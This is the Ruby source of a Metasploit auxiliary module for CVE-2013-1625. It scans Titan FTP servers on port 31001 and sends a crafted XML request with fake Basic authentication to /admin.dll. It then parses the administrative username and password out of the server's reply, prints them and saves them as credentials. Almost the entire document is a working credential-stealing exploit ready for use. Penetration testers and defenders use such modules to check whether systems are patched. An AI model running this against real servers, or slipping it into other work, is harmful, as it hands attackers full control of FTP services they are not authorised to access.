Titan FTP Administrative Password Disclosure

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'Titan FTP Administrative Password Disclosure',
      'Description' => %q{
        On Titan FTP servers prior to version 9.14.1628, an attacker can
      retrieve the username and password for the administrative XML-RPC
      interface, which listens on TCP Port 31001 by default, by sending an
      XML request containing bogus authentication information. After sending
      this request, the server responds with the legitimate username and
      password for the service. With this information, an attacker has
      complete control over the FTP service, which includes the ability to
      add and remove FTP users, as well as add, remove, and modify
      available directories and their permissions.
      },
      'Author'      =>
        [
          'Spencer McIntyre'
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-1625' ]
        ]
    )

    register_options([Opt::RPORT(31001)])
  end

  def run_host(ip)
    res = send_request_cgi(
      {
        'uri'       => '/admin.dll',
        'method'    => 'POST',
        'headers'   => {
          'SRT-WantXMLResponses' => 'true',
          'SRT-XMLRequest'       => 'true',
          'Authorization'        => 'Basic FAKEFAKE'
        },
        'data'      => '<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>'
      })
    return if not res

    if res.code == 400
      vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched")
      return
    elsif res.code != 200
      vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}")
      return
    end

    xml_data = res.body.strip
    resp_root = REXML::Document.new(xml_data).root

    srresponse = resp_root.elements.to_a("//SRResponse")[0]
    srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0]

    info = {}
    srdomainparams.elements.each do |node|
      case node.name
        when "DomainName"
          info[:domain] = Rex::Text.uri_decode(node.text)
        when "BaseDataDir"
          info[:basedir] = Rex::Text.uri_decode(node.text)
        when "CreationDate"
          info[:username] = Rex::Text.uri_decode(node.text)
        when "CreationTime"
          info[:password] = Rex::Text.uri_decode(node.text)
      end
    end

    if (info[:username] and info[:password])
      if (info[:domain] and info[:basedir])
        print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]}")
        print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}")
      end
      print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'")
      report_cred(
        ip: ip,
        port: datastore['RPORT'],
        user: info[:username],
        password: info[:password],
        service_name: 'ftp'
      )
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
    }.merge(service_data)

    create_credential_login(login_data)
  end
end